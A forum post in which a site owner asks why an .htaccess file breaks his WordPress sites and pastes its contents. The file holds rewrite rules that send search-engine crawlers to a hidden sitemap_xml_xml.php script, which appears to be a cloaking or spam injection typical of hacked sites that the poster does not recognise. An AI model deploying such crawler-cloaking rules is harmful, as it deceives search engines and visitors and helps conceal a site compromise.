Server Error Caused by Necessary htaccess File

All of a sudden, without any changes to the several WP sites I am running on my server (no new plugins or anything), all the WP sites started having random Internal Server Errors. I traced this back a single htaccess file located in my main directory. When I rename this file (rendering it non-active), all the WP sites run perfectly. HOWEVER, this results in another script that I am running (and my main source of income) to completely shut down. When I reactivate the htaccess file, my other script starts working again but the errors return to WP.

Below is the content of this file. Can anyone identify what is causing this error? I need both system to work, like they USE to. Thank you for any ideas!

htaccess contents:

AddHandler php-cgi .php
Action php-cgi /cgi-bin/php-cgi

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|slurp|bing|msnbot|yandex) [OR]
RewriteCond %{HTTP_REFERER} (zzzzzz)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (html|htm|php|phps|shtml|xml|xhtml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !sitemap_xml_xml.php
RewriteCond /****path redacted for security reasons****/sitemap_xml_xml.php -f
RewriteRule ^.*$ /sitemap_xml_xml.php [L]
</IfModule>

I edited out my internal path (with the ****) for possible security reasons. Not sure if I needed to but I figure best to be safe.

Scott